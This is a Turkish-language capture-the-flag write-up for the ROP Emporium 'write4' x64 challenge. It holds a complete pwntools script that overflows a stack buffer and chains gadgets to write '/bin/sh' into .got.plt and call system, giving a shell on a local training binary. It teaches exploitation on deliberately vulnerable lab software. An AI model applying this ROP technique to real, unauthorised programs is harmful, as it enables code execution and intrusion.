ROP Emporium write4 (x64) Writeup

ROP Emporium write4 (64bit) Writeup​

detail


checksec


x64 mimaride dosyamızı indirdikten sonra programımızın sayfasında detaylara bakabiliriz. Kısaca bize system() fonksiyonun mevcut olduğunu ancak /bin/cat flag.txt stringini içeren bir değişken olmadığı için elle registerlara /bin/sh stringini kaydedip daha sonra bunu system() fonksiyonumuzun içerisine gönderebileceğimiz söylenmiş. Ancak bir önceki seviyelerden farklı olarak burada komutumuzu bir registera yazdıktan sonra bunu direk kullanmak yerine dinamik olarak yüklenmiş kütüphanelere kaydetmemiz beklenmektedir. Bunun için üzerine yazabilme yetkimiz olan hangi bölümler varmış bakalım.

readelf -t write4

56ae012b835084417bfd5e5201c6454a8372877e.png


Yazma yetkimizin olduğu ve içerisinde yeteri kadar alan bulunan .dynamic ve .got.plt olmak üzere iki tane alanımız mevcut. Bu iki adresten birini kullanabiliriz. Şimdi system fonksiyonumuzun adresini öğrenelim.

objdump -d write4 | grep "system"

system


Artık argüman görevi görmeyen 2 tane register belirleyip ilkinin üzerine dinamik olarak yüklenen kütüphane adresimizi ve ikinci argümanımızın üzerine /bin/sh komutumuzu yazacağız.


gdb-peda$ ropsearch "pop r14"
Searching for ROP gadget: 'pop r14' in: binary ranges
0x00400890 : (b'415e415fc3') pop r14; pop r15; ret


# ROP Emporium write4 Exploit
from pwn import *

got_plt = p64(0x00601000)
system = p64(0x4005e0)
pop_r14_r15 = p64(0x00400890)

offset = ('A'*40).encode()
bash = "/bin/sh\x00"

payload = offset
payload += pop_r14_r15
payload += got_plt
payload += bash.encode()


r14 ve r15 registerları üzerine istediğimiz adres ve komutu yazdık. Ancak komutumuzun .got.plt içerisine yazabilmek için mov r14, r15 komutuna ihtiyacımız var. Ancak böyle bir komutu ropsearch ile arattığımızda bulamıyoruz. Ama objdump çıktısını dikkatlı incelersek usefulGadget isimli bir fonksiyon dikkatimizi çekiyor.

r14_r15


Aradığımız işlemi yapan bir komut bulduk :)

# ROP Emporium write4 Exploit
from pwn import *

got_plt = p64(0x00601000) # .got.plt address
system = p64(0x4005e0) # system@plt address
pop_r14_r15 = p64(0x00400890) # pop r14; pop r15; ret
r15_to_r14 = p64(0x00400820) # mov qword ptr [r14], r15

offset = ('A'*40).encode()
bash = "/bin/sh\x00"

payload = offset
payload += pop_r14_r15
payload += got_plt
payload += bash.encode()
payload += r15_to_r14


.got.plt içerisine /bin/sh komutumuzu yazdık artık x64 mimaride ilk argümanı alan rdi registerı üzerine got_plt adresimizi verdikten sonra system fonksiyonumuzu çağırabiliriz. Bunun için öncelikle pop rdi; ret işlemi yapan bir gadget var mı bakalım.


gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00400893 : (b'5fc3') pop rdi; ret


Evet aradığımız işlemi yapan bir adres bulduk. Artık exploitimizin son halini yazabiliriz :)

# ROP Emporium write4 Exploit
from pwn import *

got_plt = p64(0x00601000) # .got.plt address
system = p64(0x4005e0) # system@plt address
pop_r14_r15 = p64(0x00400890) # pop r14; pop r15; ret
r15_to_r14 = p64(0x00400820) # mov qword ptr [r14], r15
pop_rdi = p64(0x00400893) # pop rdi; ret

offset = ('A'*40).encode()
bash = "/bin/sh\x00"

payload = offset
payload += pop_r14_r15
payload += got_plt
payload += bash.encode()
payload += r15_to_r14
payload += pop_rdi
payload += got_plt
payload += system

elf = process('write4')
print (elf.recv())
elf.sendline(payload)
elf.interactive()


exploit


NOT : python3 ’ de str ve byte tipindeki değişkenleri python2 ’ de olduğu gibi direk birleştiremiyoruz. Bunun için str tipinde olan değişkenimizin sonuna .encode() eklememiz gerekmektedir.
 
Üst